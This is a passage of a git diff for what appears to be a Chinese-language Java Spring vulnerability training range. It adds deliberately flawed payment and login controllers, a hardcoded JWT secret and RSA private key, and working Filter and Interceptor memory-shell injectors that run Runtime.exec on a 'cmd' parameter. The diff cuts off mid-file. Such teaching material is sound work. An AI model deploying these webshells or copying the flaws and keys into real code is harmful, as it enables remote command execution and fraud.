@RequestParam double amount) { + // 未检查订单是否已支付 + // 这里应该使用paymentStatusMap检查订单是否已支付,但为了演示漏洞,故意不检查 + BigDecimal currentMoney = userMoney.get(); + if (currentMoney.compareTo(BigDecimal.valueOf(amount)) < 0) { + return R.error("余额不足"); + } + userMoney.set(currentMoney.subtract(BigDecimal.valueOf(amount))); + return R.ok("支付成功!剩余余额:" + userMoney.get()); + } + + /** + * 漏洞场景3:竞态条件漏洞 + * 由于未正确处理并发支付请求,可能导致重复扣款或余额计算错误 + */ + @ApiOperation("竞态条件漏洞") + @RequestMapping("/vul3") + @ResponseBody + public R vul3(@RequestParam String orderId, @RequestParam double amount) { + // 模拟处理延迟 + try { + Thread.sleep(1000); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + + BigDecimal currentMoney = userMoney.get(); + if (currentMoney.compareTo(BigDecimal.valueOf(amount)) < 0) { + return R.error("余额不足"); + } + userMoney.set(currentMoney.subtract(BigDecimal.valueOf(amount))); + return R.ok("支付成功!剩余余额:" + userMoney.get()); + } + + /** + * 漏洞场景4:支付流程绕过 + * 由于状态校验不完整,攻击者可能绕过支付流程直接修改订单状态 + */ + @ApiOperation("支付流程绕过漏洞 - 创建订单") + @RequestMapping("/vul4/create") + @ResponseBody + public R createOrder(@RequestParam String orderId, @RequestParam double amount) { + OrderStatus status = new OrderStatus(orderId, BigDecimal.valueOf(amount)); + orderStatusMap.put(orderId, status); + Map data = new HashMap<>(); + data.put("orderId", orderId); + data.put("amount", amount); + return R.ok("订单创建成功").put("data", data); + } + + @ApiOperation("支付流程绕过漏洞 - 查询订单状态") + @RequestMapping("/vul4/status") + @ResponseBody + public R getOrderStatus(@RequestParam String orderId) { + OrderStatus status = orderStatusMap.get(orderId); + if (status == null) { + return R.error("订单不存在"); + } + Map data = new HashMap<>(); + data.put("orderId", status.orderId); + data.put("amount", status.amount); + data.put("isPaid", status.isPaid); + return R.ok().put("data", data); + } + + @ApiOperation("支付流程绕过漏洞 - 支付通知") + @RequestMapping("/vul4/notify") + @ResponseBody + public R paymentNotify(@RequestParam String orderId, @RequestParam boolean success) { + // 未验证通知来源,直接更新订单状态 + OrderStatus status = orderStatusMap.get(orderId); + if (status == null) { + return R.error("订单不存在"); + } + status.isPaid = success; + return R.ok("状态更新成功"); + } + + + /** + * 漏洞场景5:整数溢出漏洞 + * 当count或price数值过大时,可能会导致整数溢出 + */ + @ApiOperation("整数溢出漏洞") + @RequestMapping("/vul5") + @ResponseBody + public R integerOverflow(@RequestParam String count, @RequestParam String price) { + try { + Integer countValue = Integer.valueOf(count); + Integer priceValue = Integer.valueOf(price); + + // 整数溢出场景:当 count 或 price 数值过大时,可能会导致溢出 + int totalAmount = countValue * priceValue; + log.info("用户需支付金额:" + totalAmount); + + BigDecimal currentMoney = userMoney.get(); + if (currentMoney.compareTo(BigDecimal.valueOf(totalAmount)) < 0) { + return R.error("支付金额不足,支付失败!"); + } + userMoney.set(currentMoney.subtract(BigDecimal.valueOf(totalAmount))); + return R.ok("支付成功!剩余余额:" + userMoney.get()); + } catch (Exception e) { + return R.error("无效的输入,请输入有效的数量和价格!"); + } + } + + /** + * 漏洞场景6:浮点数精度漏洞 + * 由于未正确处理浮点数精度,可能导致金额计算不准确 + */ + @ApiOperation("浮点数精度漏洞") + @RequestMapping("/vul6") + @ResponseBody + public R floatingPointPrecision(@RequestParam String count, @RequestParam String price) { + try { + // 使用BigDecimal处理金额计算,避免浮点数精度问题 + BigDecimal amountValue = new BigDecimal(price).multiply(new BigDecimal(count)); + log.info("用户需支付金额:" + amountValue); + + BigDecimal currentMoney = userMoney.get(); + if (currentMoney.compareTo(amountValue) < 0) { + return R.error("支付金额不足,支付失败!"); + } + userMoney.set(currentMoney.subtract(amountValue)); + return R.ok("支付成功!剩余余额:" + userMoney.get()); + } catch (Exception e) { + return R.error("无效的输入,请输入有效的数量和价格!"); + } + } + + @ApiOperation("重置用户余额") + @RequestMapping("/resetBalance") + @ResponseBody + public R resetBalance() { + userMoney.set(new BigDecimal("1000.00")); + return R.ok("余额已重置为1000.00元"); + } } diff --git a/src/main/java/top/whgojp/modules/loginconfront/controller/AccountController.java b/src/main/java/top/whgojp/modules/loginconfront/controller/AccountController.java new file mode 100644 index 0000000..928cdd6 --- /dev/null +++ b/src/main/java/top/whgojp/modules/loginconfront/controller/AccountController.java @@ -0,0 +1,64 @@ +package top.whgojp.modules.loginconfront.controller; + +import io.swagger.annotations.Api; +import lombok.extern.slf4j.Slf4j; +import org.apache.regexp.RE; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.CrossOrigin; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import top.whgojp.common.utils.R; + +import java.util.Arrays; +import java.util.HashSet; +import java.util.Set; + +/** + * @description 登录对抗-账号安全 + * @author: whgojp + * @email: whgojp@foxmail.com + * @Date: 2024/8/8 23:16 + */ +@Slf4j +@Api(value = "AccountController", tags = "登录对抗-账号安全") +@Controller +@CrossOrigin(origins = "*") +@RequestMapping("/loginconfront/account") +public class AccountController { + // 测试账号密码 + final Set REAL_USERNAMES = new HashSet<>(Arrays.asList("admin", "test", "12345", "root")); + final String REAL_PASSWORD = "admin123"; + + @RequestMapping("") + public String account() { + return "vul/loginconfront/account"; + } + + @RequestMapping("/vul1") + @ResponseBody + public R vul1(String username, String password) { + if (REAL_USERNAMES.contains(username)) { + if (REAL_PASSWORD.equalsIgnoreCase(password)) { + return R.ok("登录成功!用户名:" + username + ", 密码:" + password); + } else { + return R.error("密码错误,请重试!"); + } + } else { + return R.error("用户不存在!"); + } + } + + @RequestMapping("/vul2") + @ResponseBody + public R vul2(String username, String password) { + // 这里简单模拟下数据库查询操作 + // User user = UserService.getAllByUsernameAndPassword(username,password) + if ("admin".equalsIgnoreCase(username) && "admin".equalsIgnoreCase(password)) { + return R.ok("登录成功!用户名:" + username + ", 密码:" + password); + } else { + return R.ok("账号或密码错误!"); + } + } + + +} diff --git a/src/main/java/top/whgojp/modules/loginconfront/controller/BypassController.java b/src/main/java/top/whgojp/modules/loginconfront/controller/BypassController.java new file mode 100644 index 0000000..cfd4093 --- /dev/null +++ b/src/main/java/top/whgojp/modules/loginconfront/controller/BypassController.java @@ -0,0 +1,106 @@ +package top.whgojp.modules.loginconfront.controller; + +import io.swagger.annotations.Api; +import lombok.extern.slf4j.Slf4j; +import org.springframework.http.ResponseEntity; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.*; +import top.whgojp.common.utils.R; + +import java.util.*; + +/** + * @description 登录对抗-登录绕过 + * @author: whgojp + * @email: whgojp@foxmail.com + * @Date: 2024/11/19 21:01 + */ +@Slf4j +@Api(value = "BypassController", tags = "登录对抗-登录绕过") +@Controller +@CrossOrigin(origins = "*") +@RequestMapping("/loginconfront/bypass") +public class BypassController { + @RequestMapping("") + public String bypass() { + return "vul/loginconfront/bypass"; + } + + @RequestMapping("/reset") + public String reset() { + return "vul/loginconfront/resetpass"; + } + + // 测试账号密码 + final String REAL_USERNAME = "admin"; + final String REAL_PASSWORD = "admin123"; + + @PostMapping("/vul1step1") + @ResponseBody + public R vul1step1(String username, String password) { + if (REAL_USERNAME.equalsIgnoreCase(username) && REAL_PASSWORD.equalsIgnoreCase(password)) { + return R.ok("账号校验通过,请稍等!"); + } else { + return R.error("账号校验失败,请重试!"); + } + } + + @PostMapping("/vul1step2") + @ResponseBody + public R vul1step2(String code) { + if ("0".equals(code)) { + return R.ok("登录成功,欢迎!"); + } else { + return R.error("登录失败!"); + } + } + + + private final Map stepData = new HashMap<>(); + + private final String oladPass = "!@#qwf@3123"; + + // step1:验证用户名 + @PostMapping("/step1") + @ResponseBody + public R vul2Step1(@RequestParam String username) { + try { + log.info("用户名:" + username); + if (username.isEmpty()) { + return R.error("用户名不能为空"); + } + stepData.put(1, username); + return R.ok("用户名验证成功!"); + } catch (Exception e) { + return R.error("服务器错误,请稍后再试"); + } + } + + + // step2:验证旧密码 + @PostMapping("/step2") + @ResponseBody + public R vul2Step2(@RequestParam String oldPassword) { + if (oldPassword.isEmpty()) { + return R.error("旧密码不能为空!"); + } + if (!oladPass.equals(oldPassword)) { + return R.error("旧密码错误!"); + } + stepData.put(2, oldPassword); + return R.ok("密码验证成功!"); + } + + // step3:设置新密码 + @PostMapping("/step3") + @ResponseBody + public R vul2Step3(@RequestParam String newPassword) { + if (newPassword.length() < 6) { + return R.error("密码长度必须大于6!"); + } + stepData.put(3, newPassword); + System.out.println("表单数据: " + stepData); + return R.ok("密码重置成功!"); + } + +} diff --git a/src/main/java/top/whgojp/modules/loginconfront/controller/CredentialController.java b/src/main/java/top/whgojp/modules/loginconfront/controller/CredentialController.java new file mode 100644 index 0000000..b9774aa --- /dev/null +++ b/src/main/java/top/whgojp/modules/loginconfront/controller/CredentialController.java @@ -0,0 +1,83 @@ +package top.whgojp.modules.loginconfront.controller; + +import io.jsonwebtoken.*; +import io.jsonwebtoken.security.Keys; +import io.swagger.annotations.Api; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.*; +import top.whgojp.common.utils.R; + +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.http.HttpSession; +import java.nio.charset.StandardCharsets; +import java.security.Key; + +/** + * @description 登录对抗-凭证安全 + * @author: whgojp + * @email: whgojp@foxmail.com + * @Date: 2024/11/19 22:28 + */ +@Slf4j +@Api(value = "CredentialController", tags = "登录对抗-凭证安全") +@Controller +@CrossOrigin(origins = "*") +@RequestMapping("/loginconfront/credential") +public class CredentialController { + @RequestMapping("") + public String credential() { + return "vul/loginconfront/credential"; + } + + // 生成一个符合HS256要求的强密钥(至少256位) + @Value("${jwt.key}") + String secretKey = "f3a4c6d5b9bfeff28b1f529b0840134bcd4183474e2d4a97c05615a134e4f4da"; + Key key = new SecretKeySpec(secretKey.getBytes(StandardCharsets.UTF_8), SignatureAlgorithm.HS256.getJcaName()); + +// Key key = Keys.secretKeyFor(SignatureAlgorithm.HS256); + + @GetMapping("/generate-jwt") + @ResponseBody + public R generateJWT(String username, String role) { + String jwt = Jwts.builder() + .setSubject(username) + .claim("role", role) + .signWith(key) + .compact(); + log.info("生成的JWT: " + jwt); + return R.ok(jwt); + } + + @RequestMapping("/vul1") + @ResponseBody + public R vul1(@RequestHeader("Auth_Token") String jwt) { // 从请求头获取 JWT + log.info("获取到的JWT:" + jwt); + try { + String user = Jwts.parser() + .setSigningKey(key) + .parseClaimsJws(jwt) + .getBody() + .getSubject(); + String role = Jwts.parserBuilder() + .setSigningKey(key) + .build() + .parseClaimsJws(jwt) + .getBody() + .get("role", String.class); + + log.info("JWT解析成功,用户:" + user); + return R.ok("JWT解析成功,user:" + user+",role:"+role); + } catch (Exception e) { + log.info("JWT解析失败:" + e.getMessage()); + return R.error("JWT解析失败:" + e.getMessage()); + } + } + + @RequestMapping("/vul2") + public R vul2() { + return R.ok(); + } + +} diff --git a/src/main/java/top/whgojp/modules/loginconfront/controller/LoginRequest.java b/src/main/java/top/whgojp/modules/loginconfront/controller/LoginRequest.java new file mode 100644 index 0000000..24b0072 --- /dev/null +++ b/src/main/java/top/whgojp/modules/loginconfront/controller/LoginRequest.java @@ -0,0 +1,29 @@ +package top.whgojp.modules.loginconfront.controller; + +/** + * @description <功能描述> + * @author: whgojp + * @email: whgojp@foxmail.com + * @Date: 2024/11/24 00:16 + */ +public class LoginRequest { + private String encryptedUsername; + private String encryptedPassword; + + // Getter和Setter方法 + public String getEncryptedUsername() { + return encryptedUsername; + } + + public void setEncryptedUsername(String encryptedUsername) { + this.encryptedUsername = encryptedUsername; + } + + public String getEncryptedPassword() { + return encryptedPassword; + } + + public void setEncryptedPassword(String encryptedPassword) { + this.encryptedPassword = encryptedPassword; + } +} diff --git a/src/main/java/top/whgojp/modules/loginconfront/controller/ReverseController.java b/src/main/java/top/whgojp/modules/loginconfront/controller/ReverseController.java new file mode 100644 index 0000000..ba79487 --- /dev/null +++ b/src/main/java/top/whgojp/modules/loginconfront/controller/ReverseController.java @@ -0,0 +1,164 @@ +package top.whgojp.modules.loginconfront.controller; + +import io.swagger.annotations.Api; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Controller; +import org.springframework.util.DigestUtils; +import org.springframework.web.bind.annotation.*; +import top.whgojp.common.utils.R; + +import javax.crypto.Cipher; +import java.security.KeyFactory; +import java.security.PrivateKey; +import java.security.spec.PKCS8EncodedKeySpec; +import java.util.*; + +/** + * @description 登录对抗-JS逆向 + * @author: whgojp + * @email: whgojp@foxmail.com + * @Date: 2024/11/19 22:25 + */ +@Slf4j +@Api(value = "ReverseController", tags = "登录对抗-JS逆向") +@Controller +@CrossOrigin(origins = "*") +@RequestMapping("/loginconfront/reverse") +public class ReverseController { + @RequestMapping("") + public String reverse() { + return "vul/loginconfront/reverse"; + } + + final String REAL_USERNAME = "admin"; + final String REAL_PASSWORD = "admin123"; + + // 固定密钥 + private static final String KEY = "FF38DC304A1D74B19F24A36C09FD6B72"; + + // 生成签名的方法 + private String generateSign(Map params) { + TreeMap sortedParams = new TreeMap<>(params); + StringBuilder query = new StringBuilder(); + for (Map.Entry entry : sortedParams.entrySet()) { + query.append(entry.getKey()).append("=").append(entry.getValue()).append("&"); + } + if (query.length() > 0) { + query.setLength(query.length() - 1); + } + return DigestUtils.md5DigestAsHex((query.toString() + KEY).getBytes()); + } + + // 请求签名绕过 + @PostMapping("/vul1") + @ResponseBody + public R vul1(@RequestBody Map params) { + log.info(params.toString()); + // 获取请求的参数 + String username = params.get("username"); + String password = params.get("password"); + String timestamp = params.get("timestamp"); + String sign = params.get("sign"); + + // 校验参数是否齐全 + if (username == null || password == null || timestamp == null || sign == null) { + return R.error("缺少必要参数"); + } + + Map sortedParams = new HashMap<>(); + sortedParams.put("username", username); + sortedParams.put("password", password); + sortedParams.put("timestamp", timestamp); + + String generatedSign = generateSign(sortedParams); + + if (!generatedSign.equals(sign)) { + return R.error("签名验证失败"); + } + + if (REAL_USERNAME.equals(username) && REAL_PASSWORD.equals(password)) { + return R.ok("登录成功!用户名:" + username + ",密码:" + password); + } else { + return R.error("用户名或密码错误"); + } + } + +// @Value("${rsa.private.key}") + private String privateKey = "-----BEGIN PRIVATE KEY-----\n" + + "MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDHoirq0G+M0epz\n" + + "NCYkkCii2wF8oz/3IkK5NXztmUjRjUQUbrkmjz1osdbsGoFQl6lwoL2RwDk8lpZI\n" + + "XkFgSW1jY0+ch8aQdqYp4XLBaHhpjLroyUGqv3UXDRbLHw9CWnQIkp+I8RCbPBSh\n" + + "umKYC8oF0jWTTS94I1t/6Hzcm1+tkUkPBzQTQMxmr4GDd1GZB1ddH3buPfBc/2wT\n" + + "mzSG/0ao0Py4Zj9Mo9G7buutUlUQVPO08FAzxCeRrb3Ijbv4Lo706mp4UuXGDz2u\n" + + "KmCiSifKfJr8a7E7uRGRKeXuG+ON2RAQ4tUYmY7sqDM4WfOUIxR6aRtqQan84yaG\n" + + "r0bI2pKhAgMBAAECggEAAh1AJfFUA8ezsLQoROyyQs/zIv+J8s4DVbmmC3sl3QhJ\n" + + "ZLZWfNIkCkWQkJAS912f1FrzdFrMOw105Sp7DUVseegS71tgbuZpdJntZfR7X/zM\n" + + "UaD+B8xUIGIfBW2HCG1zpfqYOMeleiC9BDMjOQKDns5UNcLpwjSM/cdieSX7xwIK\n" + + "g/ZIP9ndW8pGZ4NpKknIf9+klKUX+bJr5y/qAWio89rnlxFMkemqXr8J7p+Fe7l/\n" + + "bFXge4+EInGSbnTc0JsqN3bwh0qk8PW4J2NBQGA2KF7cTilkg96tgXUamz/fqbqd\n" + + "Dyzy/+Qckmg1GsvVyJ/p5eDMuaBSUmpcgUvYzyF/EQKBgQDyYE0PRj3+KvEB+I6C\n" + + "PCxkN6FZ6XKHU+XHP3Q8bYXSSNH3un/ikxc8/agR5osB9xpUbTAHLBHiSZiytt+g\n" + + "priFzFiVzGsLNLOdOCivLIDRi15yg62980EyaSjautXdro8vfmXQcU5369MKoH9d\n" + + "IiSIc0VcSHMJRxa6q4ErRIigCQKBgQDS2tDPdZYjWH6WfP4i7AMD/lAuEDHe1OMU\n" + + "0kCnovT430u52kGY64Ae7p59coSG3AKJNj5ubZYq3Qt4DGCVKs17yWJYoMbpQH5o\n" + + "orr61xRZ37TiSw6JTQHsE7Vo4EswKGZTHF3pBO+Coj9JHElkZCbdP2fhha6O+vLH\n" + + "RLCatehT2QKBgA7FY6zcoQaOY2W1WioBtMrewQyTt5EbwdMkwNa17gPkwDcSvJx4\n" + + "TmA/LTD6Fdqmzon6pYSqYOSji5TIpFRMFM7Cp1tpu9RQ/+lC9OfIFImwrq7X64y5\n" + + "+G00D3NVE5eQ/dTtJRNQ9HFGg/QP1/M7E3LlY4K+P5R/Kplxvkt+v7zRAoGBALl7\n" + + "maJWCwvuxfS14Y1w1jpGFdxfjK870MK5Lf0JobvoGiJUt83ApMURHcS235QOqABy\n" + + "Ajt8FVSBfJxPLwspSvdwsR3L2Q7JGCoNtLQCTbm9y84hPplTb7Rvpe6rGBk2AMVt\n" + + "t8LK/7KH7WnwAzPX0kRgiY5e3a6TXMwkRcLi8IwJAoGBAMiQrXp3Rdu91Jpiv2qQ\n" + + "P3wAOUpBGwMMg5/AyGM3fPyQOKYY2pMoYmkXhFZD7lHDFgQmi9tSBTLj2/0kET/E\n" + + "nHGICvwlri2P3vAClCmNzvPQ+AZp+GEy7dKYO5K5frVrnQ5O54MYyCeGG3Rdc5FS\n" + + "iPqxlbGrQoUEtF5AG7YRadal\n" + + "-----END PRIVATE KEY-----\n"; + + private static String cleanKey(String key) { + return key.replace("-----BEGIN PRIVATE KEY-----", "") + .replace("-----END PRIVATE KEY-----", "") + .replace("-----BEGIN PUBLIC KEY-----", "") + .replace("-----END PUBLIC KEY-----", "") + .replaceAll("\\s", ""); + } + + // 解密函数 + private String decryptData(String encryptedData) throws Exception { + byte[] decoded = Base64.getDecoder().decode(encryptedData); + String cleanedPrivateKey = cleanKey(privateKey); + byte[] privateKeyBytes = Base64.getDecoder().decode(cleanedPrivateKey); + + KeyFactory keyFactory = KeyFactory.getInstance("RSA"); + PKCS8EncodedKeySpec keySpec = new PKCS8EncodedKeySpec(privateKeyBytes); + PrivateKey privateKey = keyFactory.generatePrivate(keySpec); + + Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding"); + cipher.init(Cipher.DECRYPT_MODE, privateKey); + + byte[] decryptedBytes = cipher.doFinal(decoded); + return new String(decryptedBytes); + } + + + @PostMapping("/vul2") + @ResponseBody + public R vul2(@RequestBody LoginRequest request) { +// log.info("用户名:"+request.getEncryptedUsername()+",密码:"+request.getEncryptedPassword()); + try { + String decryptedUsername = decryptData(request.getEncryptedUsername()); + String decryptedPassword = decryptData(request.getEncryptedPassword()); + +// log.info("解密后的用户名:"+decryptedUsername+",密码:"+decryptedPassword); + + if (REAL_USERNAME.equals(decryptedUsername) && REAL_PASSWORD.equals(decryptedPassword)) { + return R.ok("登录成功!用户名:" + decryptedUsername + ",密码:" + decryptedPassword); + } else { + return R.error("用户名或密码错误!"); + } + } catch (Exception e) { + return R.error("解密失败!"); + } + } + + +} diff --git a/src/main/java/top/whgojp/modules/mshell/controller/BaseMemShellController.java b/src/main/java/top/whgojp/modules/mshell/controller/BaseMemShellController.java new file mode 100644 index 0000000..08d4d22 --- /dev/null +++ b/src/main/java/top/whgojp/modules/mshell/controller/BaseMemShellController.java @@ -0,0 +1,47 @@ +package top.whgojp.modules.mshell.controller; + +import lombok.extern.slf4j.Slf4j; +import org.apache.catalina.Context; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; + +import javax.servlet.http.HttpServletRequest; +import java.lang.reflect.Field; + +/** + * 内存马基础控制器 + * 提供获取Context等通用方法 + * + * @author whgojp + * @date 2024/03/20 + */ +@Slf4j +public class BaseMemShellController { + + /** + * 获取Tomcat的Context对象 + * 通过反射获取内部的context字段 + * + * @return Tomcat的Context对象 + * @throws Exception 如果获取失败 + */ + protected Context getContext() throws Exception { + ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); + if (attributes == null) { + throw new RuntimeException("获取ServletRequestAttributes失败"); + } + + HttpServletRequest request = attributes.getRequest(); + // 获取包装的request对象 + Field requestField = request.getClass().getDeclaredField("request"); + requestField.setAccessible(true); + Object requestObject = requestField.get(request); + + // 获取内部的context字段 + Field contextField = requestObject.getClass().getDeclaredField("context"); + contextField.setAccessible(true); + Object contextObject = contextField.get(requestObject); + + return (Context) contextObject; + } +} diff --git a/src/main/java/top/whgojp/modules/mshell/controller/FilterMemShellController.java b/src/main/java/top/whgojp/modules/mshell/controller/FilterMemShellController.java new file mode 100644 index 0000000..b462222 --- /dev/null +++ b/src/main/java/top/whgojp/modules/mshell/controller/FilterMemShellController.java @@ -0,0 +1,144 @@ +package top.whgojp.modules.mshell.controller; + +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiOperation; +import io.swagger.annotations.ApiParam; +import lombok.extern.slf4j.Slf4j; +import org.apache.catalina.Context; +import org.apache.catalina.core.StandardContext; +import org.apache.tomcat.util.descriptor.web.FilterDef; +import org.apache.tomcat.util.descriptor.web.FilterMap; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.*; +import top.whgojp.common.utils.R; + +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.InputStream; + +/** + * Filter型内存马 + * 通过动态注册Filter实现命令执行 + * + * @author whgojp + * @date 2024/03/20 + */ +@Slf4j +@Api(tags = "Filter型内存马") +@Controller +@RequestMapping("/mshell/filter") +public class FilterMemShellController extends BaseMemShellController { + + @RequestMapping("") + public String index() { + return "vul/mshell/filter"; + } + + @ApiOperation("注入Filter型内存马") + @PostMapping("/inject") + @ResponseBody + public R inject( + @ApiParam("过滤器名称") @RequestParam(defaultValue = "evilFilter") String filterName, + @ApiParam("URL Pattern") @RequestParam(defaultValue = "/*") String urlPattern, + @ApiParam("命令参数名") @RequestParam(defaultValue = "cmd") String cmdParam) { + try { + Context context = getContext(); + if (context == null) { + return R.error("获取Context失败"); + } + + // 创建恶意Filter + Filter evilFilter = new Filter() { + @Override + public void init(FilterConfig filterConfig) {} + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) + throws IOException, ServletException { + HttpServletRequest req = (HttpServletRequest) request; + HttpServletResponse resp = (HttpServletResponse) response; + + String cmd = req.getParameter(cmdParam); + if (cmd != null) { + try { + Process process = Runtime.getRuntime().exec(cmd); + InputStream in = process.getInputStream(); + byte[] b = new byte[1024]; + int n; + while ((n = in.read(b)) != -1) { + resp.getOutputStream().write(b, 0, n); + } + resp.getOutputStream().flush(); + return; + } catch (IOException e) { + log.error("命令执行失败", e); + resp.getWriter().println("Error: " + e.getMessage()); + return; + } + } + chain.doFilter(request, response); + } + + @Override + public void destroy() {} + }; + + // 创建FilterDef + FilterDef filterDef = new FilterDef(); + filterDef.setFilterName(filterName); + filterDef.setFilterClass(evilFilter.getClass().getName()); + filterDef.setFilter(evilFilter); + + // 创建FilterMap + FilterMap filterMap = new FilterMap(); + filterMap.setFilterName(filterName); + filterMap.addURLPattern(urlPattern); + + // 注册Filter + StandardContext standardContext = (StandardContext) context; + standardContext.addFilterDef(filterDef); + standardContext.addFilterMap(filterMap); + + log.info("Filter型内存马注入成功,名称: {}, URL Pattern: {}, 命令参数: {}", + filterName, urlPattern, cmdParam); + return R.ok("内存马注入成功").put("data", String.format( + "Filter名称: %s\nURL Pattern: %s\n命令参数: %s", + filterName, urlPattern, cmdParam)); + } catch (Exception e) { + log.error("注入失败", e); + return R.error("注入失败:" + e.getMessage()); + } + } + + @ApiOperation("检测Filter型内存马") + @GetMapping("/detect") + @ResponseBody + public R detect() { + try { + Context context = getContext(); + if (context == null) { + return R.error("获取Context失败"); + } + + StringBuilder result = new StringBuilder(); + result.append("已注入的过滤器列表:\n"); + + // 获取所有Filter配置 + FilterDef[] filterDefs = ((StandardContext) context).findFilterDefs(); + for (FilterDef filterDef : filterDefs) { + result.append("- Filter名称: ").append(filterDef.getFilterName()) + .append("\n 类型: ").append(filterDef.getFilterClass()) + .append("\n 实例: ").append(filterDef.getFilter() != null ? + filterDef.getFilter().getClass().getName() : "未实例化") + .append("\n"); + } + + return R.ok().put("data", result.toString()); + } catch (Exception e) { + log.error("检测失败", e); + return R.error("检测失败:" + e.getMessage()); + } + } +} diff --git a/src/main/java/top/whgojp/modules/mshell/controller/InterceptorMemShellController.java b/src/main/java/top/whgojp/modules/mshell/controller/InterceptorMemShellController.java new file mode 100644 index 0000000..0011908 --- /dev/null +++ b/src/main/java/top/whgojp/modules/mshell/controller/InterceptorMemShellController.java @@ -0,0 +1,133 @@ +package top.whgojp.modules.mshell.controller; + +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiOperation; +import io.swagger.annotations.ApiParam; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.*; +import org.springframework.web.servlet.HandlerInterceptor; +import org.springframework.web.servlet.handler.MappedInterceptor; +import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; +import top.whgojp.common.utils.R; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.InputStream; +import java.lang.reflect.Field; +import java.util.List; + +/** + * Spring拦截器型内存马 + * 通过动态注册HandlerInterceptor实现命令执行 + * + * @author whgojp + * @date 2024/03/20 + */ +@Slf4j +@Api(tags = "Spring拦截器型内存马") +@Controller +@RequestMapping("/mshell/interceptor") +public class InterceptorMemShellController extends BaseMemShellController { + + @Autowired + private RequestMappingHandlerMapping handlerMapping; + + @RequestMapping("") + public String index() { + return "vul/mshell/interceptor"; + } + + @ApiOperation("注入Spring拦截器型内存马") + @PostMapping("/inject") + @ResponseBody + public R inject( + @ApiParam("拦截路径") @RequestParam(defaultValue = "/**") String pattern, + @ApiParam("命令参数名") @RequestParam(defaultValue = "cmd") String cmdParam) { + try { + // 创建恶意拦截器 + HandlerInterceptor evilInterceptor = new HandlerInterceptor() { + @Override + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) + throws Exception { + String cmd = request.getParameter(cmdParam); + if (cmd != null) { + try { + Process process = Runtime.getRuntime().exec(cmd); + InputStream in = process.getInputStream(); + byte[] b = new byte[1024]; + int n; + while ((n = in.read(b)) != -1) { + response.getOutputStream().write(b, 0, n); + } + response.getOutputStream().flush(); + return false; + } catch (IOException e) { + log.error("命令执行失败", e); + response.getWriter().println("Error: " + e.getMessage()); + return false; + } + } + return true; + } + }; + + // 通过反射获取adaptedInterceptors字段 + Field adaptedInterceptors = RequestMappingHandlerMapping.class.getDeclaredField("adaptedInterceptors"); + adaptedInterceptors.setAccessible(true); + @SuppressWarnings("unchecked") + List interceptors = (List) adaptedInterceptors.get(handlerMapping); + + // 创建MappedInterceptor并添加到列表中 + MappedInterceptor mappedInterceptor = new MappedInterceptor(new String[]{pattern}, evilInterceptor); + interceptors.add(mappedInterceptor); + + log.info("Spring拦截器型内存马注入成功,拦截路径: {}, 命令参数: {}", pattern, cmdParam); + return R.ok("内存马注入成功").put("data", "拦截路径: " + pattern + ", 命令参数: " + cmdParam); + } catch (Exception e) { + log.error("注入失败", e); + return R.error("注入失败:" + e.getMessage()); + } + } + + @ApiOperation("检测Spring拦截器型内存马") + @GetMapping("/detect") + @ResponseBody + public R detect() { + try { + StringBuilder result = new StringBuilder(); + result.append("已注入的拦截器列表:\n"); + + // 通过反射获取adaptedInterceptors字段 + Field adaptedInterceptors = RequestMappingHandlerMapping.class.getDeclaredField("adaptedInterceptors"); + adaptedInterceptors.setAccessible(true); + @SuppressWarnings("unchecked") + List interceptors = (List) adaptedInterceptors.get(handlerMapping); + + // 获取所有拦截器信息 + for (Object interceptor : interceptors) { + if (interceptor instanceof MappedInterceptor) { + MappedInterceptor mappedInterceptor = (MappedInterceptor) interceptor; + result.append("- MappedInterceptor: ") + .append(mappedInterceptor.getClass().getName()) + .append("\n 路径模式: ") + .append(String.join(", ", mappedInterceptor.getPathPatterns())) + .append("\n 拦截器类型: ") + .append(mappedInterceptor.getInterceptor().getClass().getName()) + .append("\n"); + } else { + result.append("- ") + .append(interceptor.getClass().getName()) + .append("\n"); + } + } + + return R.ok().put("data", result.toString()); + } catch (Exception e) { + log.error("检测失败", e); + return R.error("检测失败:" + e.getMessage()); + } + } +} diff --git a/src/main/java/top/whgojp/modules/mshell/controller/ListenerMemShellController.java b/src/main/java/top/whgojp/modules/mshell/controller/ListenerMemShellController.java new file mode 100644 index 0000000..2f49e7c --- /dev/null +++ b/src/main/java/top/whgojp/modules/mshell/controller/ListenerMemShellController.java @@ -0,0 +1,139 @@ +package top.whgojp.modules.mshell.controller; + +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiOperation; +import io.swagger.annotations.ApiParam; +import lombok.extern.slf4j.Slf4j; +import org.apache.catalina.Context; +import org.apache.catalina.core.StandardContext; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.*; +import top.whgojp.common.utils.R; + +import javax.servlet.ServletContextEvent; +import javax.servlet.ServletContextListener; +import java.io.IOException; +import java.io.InputStream; +import java.lang.reflect.Field; +import java.util.ArrayList; +import java.util.List; + +/** + * Listener型内存马 + * 通过动态注册ServletContextListener实现命令执行 + * + * @author whgojp + * 